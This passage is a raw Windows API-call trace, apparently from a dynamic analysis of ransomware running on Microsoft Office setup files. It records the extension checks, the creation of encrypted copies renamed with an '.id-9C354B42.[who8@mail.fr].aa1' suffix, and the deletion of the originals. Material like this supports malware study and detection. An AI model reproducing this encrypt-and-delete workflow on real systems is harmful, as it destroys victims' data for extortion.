(lpString1=".xls", lpString2=".XML") returned -1 [0208.266] lstrlenW (lpString=".xlsx") returned 5 [0208.267] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0208.267] lstrlenW (lpString=".ppt") returned 4 [0208.267] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0208.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0208.267] lstrlenW (lpString=".zip") returned 4 [0208.267] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0208.267] lstrlenW (lpString=".rar") returned 4 [0208.267] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0208.267] lstrlenW (lpString=".bz2") returned 4 [0208.267] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0208.267] lstrlenW (lpString=".7z") returned 3 [0208.267] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0208.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0208.268] lstrlenW (lpString=".dbf") returned 4 [0208.268] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0208.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0208.268] lstrlenW (lpString=".1cd") returned 4 [0208.268] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0208.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0208.268] lstrlenW (lpString=".jpg") returned 4 [0208.268] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0208.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0208.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0208.268] lstrlenW (lpString=".doc") returned 4 [0208.268] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0208.268] lstrlenW (lpString=".docx") returned 5 [0208.268] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0208.268] lstrlenW (lpString=".pdf") returned 4 [0208.268] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0208.269] lstrlenW (lpString=".xls") returned 4 [0208.269] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0208.269] lstrlenW (lpString=".xlsx") returned 5 [0208.269] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0208.269] lstrlenW (lpString=".ppt") returned 4 [0208.269] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0208.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0208.269] lstrlenW (lpString=".zip") returned 4 [0208.269] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0208.269] lstrlenW (lpString=".rar") returned 4 [0208.269] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0208.269] lstrlenW (lpString=".bz2") returned 4 [0208.269] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0208.269] lstrlenW (lpString=".7z") returned 3 [0208.269] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0208.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0208.269] lstrlenW (lpString=".dbf") returned 4 [0208.269] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0208.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0208.269] lstrlenW (lpString=".1cd") returned 4 [0208.270] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0208.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML") returned 106 [0208.270] lstrlenW (lpString=".jpg") returned 4 [0208.270] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0208.270] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0208.270] lstrlenW (lpString="BRANDING.XML") returned 12 [0208.270] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0208.272] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=596341) returned 1 [0208.272] CloseHandle (hObject=0x178) returned 1 [0208.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 0x20 [0208.272] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0208.272] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0208.273] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0208.273] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0208.273] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0208.273] GetLastError () returned 0x0 [0208.273] ReadFile (in: hFile=0x178, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x91975, lpOverlapped=0x0) returned 1 [0208.292] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x91980, lpOverlapped=0x0) returned 1 [0208.582] ReadFile (in: hFile=0x178, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0208.582] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0208.582] SetEndOfFile (hFile=0x1f4) returned 1 [0208.914] CloseHandle (hObject=0x1f4) returned 1 [0208.921] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0208.921] SetEndOfFile (hFile=0x178) returned 1 [0209.029] CloseHandle (hObject=0x178) returned 1 [0209.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0209.029] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 1 [0209.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0209.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0209.336] lstrlenW (lpString=".doc") returned 4 [0209.336] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.336] lstrlenW (lpString=".docx") returned 5 [0209.336] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0209.336] lstrlenW (lpString=".pdf") returned 4 [0209.337] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.337] lstrlenW (lpString=".xls") returned 4 [0209.337] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.337] lstrlenW (lpString=".xlsx") returned 5 [0209.337] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0209.337] lstrlenW (lpString=".ppt") returned 4 [0209.337] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0209.337] lstrlenW (lpString=".zip") returned 4 [0209.337] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.337] lstrlenW (lpString=".rar") returned 4 [0209.337] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.337] lstrlenW (lpString=".bz2") returned 4 [0209.337] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.337] lstrlenW (lpString=".7z") returned 3 [0209.337] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0209.337] lstrlenW (lpString=".dbf") returned 4 [0209.338] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0209.338] lstrlenW (lpString=".1cd") returned 4 [0209.338] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0209.338] lstrlenW (lpString=".jpg") returned 4 [0209.338] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0209.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0209.338] lstrlenW (lpString=".doc") returned 4 [0209.338] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.338] lstrlenW (lpString=".docx") returned 5 [0209.338] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1 [0209.338] lstrlenW (lpString=".pdf") returned 4 [0209.338] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.338] lstrlenW (lpString=".xls") returned 4 [0209.338] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.338] lstrlenW (lpString=".xlsx") returned 5 [0209.338] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1 [0209.338] lstrlenW (lpString=".ppt") returned 4 [0209.338] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0209.339] lstrlenW (lpString=".zip") returned 4 [0209.339] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.339] lstrlenW (lpString=".rar") returned 4 [0209.339] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.339] lstrlenW (lpString=".bz2") returned 4 [0209.339] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.339] lstrlenW (lpString=".7z") returned 3 [0209.339] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0209.339] lstrlenW (lpString=".dbf") returned 4 [0209.339] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0209.339] lstrlenW (lpString=".1cd") returned 4 [0209.339] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105 [0209.339] lstrlenW (lpString=".jpg") returned 4 [0209.339] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.339] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0209.339] lstrlenW (lpString="Office32WW.XML") returned 14 [0209.339] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0209.340] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=4274) returned 1 [0209.340] CloseHandle (hObject=0x1fc) returned 1 [0209.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 0x20 [0209.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0209.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0209.340] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0209.340] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0209.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0209.463] GetLastError () returned 0x0 [0209.463] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x10b2, lpOverlapped=0x0) returned 1 [0209.516] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0209.524] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0209.524] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0209.524] SetEndOfFile (hFile=0x1f4) returned 1 [0209.525] CloseHandle (hObject=0x1f4) returned 1 [0209.529] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0209.529] SetEndOfFile (hFile=0x1fc) returned 1 [0209.530] CloseHandle (hObject=0x1fc) returned 1 [0209.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0209.531] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 1 [0209.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0209.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0209.531] lstrlenW (lpString=".doc") returned 4 [0209.531] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.531] lstrlenW (lpString=".docx") returned 5 [0209.531] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0209.531] lstrlenW (lpString=".pdf") returned 4 [0209.531] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.532] lstrlenW (lpString=".xls") returned 4 [0209.532] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.532] lstrlenW (lpString=".xlsx") returned 5 [0209.532] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0209.532] lstrlenW (lpString=".ppt") returned 4 [0209.532] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.532] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0209.532] lstrlenW (lpString=".zip") returned 4 [0209.532] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.532] lstrlenW (lpString=".rar") returned 4 [0209.532] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.532] lstrlenW (lpString=".bz2") returned 4 [0209.532] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.532] lstrlenW (lpString=".7z") returned 3 [0209.533] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0209.533] lstrlenW (lpString=".dbf") returned 4 [0209.533] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0209.533] lstrlenW (lpString=".1cd") returned 4 [0209.533] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0209.533] lstrlenW (lpString=".jpg") returned 4 [0209.533] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0209.533] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0209.533] lstrlenW (lpString=".doc") returned 4 [0209.533] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.533] lstrlenW (lpString=".docx") returned 5 [0209.533] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0209.534] lstrlenW (lpString=".pdf") returned 4 [0209.534] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.534] lstrlenW (lpString=".xls") returned 4 [0209.534] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.534] lstrlenW (lpString=".xlsx") returned 5 [0209.534] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0209.534] lstrlenW (lpString=".ppt") returned 4 [0209.534] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0209.534] lstrlenW (lpString=".zip") returned 4 [0209.534] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.534] lstrlenW (lpString=".rar") returned 4 [0209.534] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.534] lstrlenW (lpString=".bz2") returned 4 [0209.534] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.534] lstrlenW (lpString=".7z") returned 3 [0209.534] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.534] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0209.534] lstrlenW (lpString=".dbf") returned 4 [0209.534] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0209.535] lstrlenW (lpString=".1cd") returned 4 [0209.535] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.535] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML") returned 106 [0209.535] lstrlenW (lpString=".jpg") returned 4 [0209.535] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.535] lstrcmpiW (lpString1=".XML", lpString2=".aa1") returned 1 [0209.535] lstrlenW (lpString="OneNoteMUI.XML") returned 14 [0209.535] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0209.536] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1606) returned 1 [0209.536] CloseHandle (hObject=0x1fc) returned 1 [0209.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml")) returned 0x20 [0209.536] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0209.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0209.536] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0209.536] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0209.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\OneNoteMUI.XML.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\onenotemui.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0209.600] GetLastError () returned 0x0 [0209.601] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x646, lpOverlapped=0x0) returned 1 [0209.679] WriteFile (in: hFile=0x164, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x650, lpOverlapped=0x0) returned 1 [0209.681] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0209.681] WriteFile (in: hFile=0x164, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0209.681] SetEndOfFile (hFile=0x164) returned 1 [0209.681] CloseHandle (hObject=0x164) returned 1 [0209.686] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0209.686] SetEndOfFile (hFile=0x1fc) returned 1 [0209.688] CloseHandle 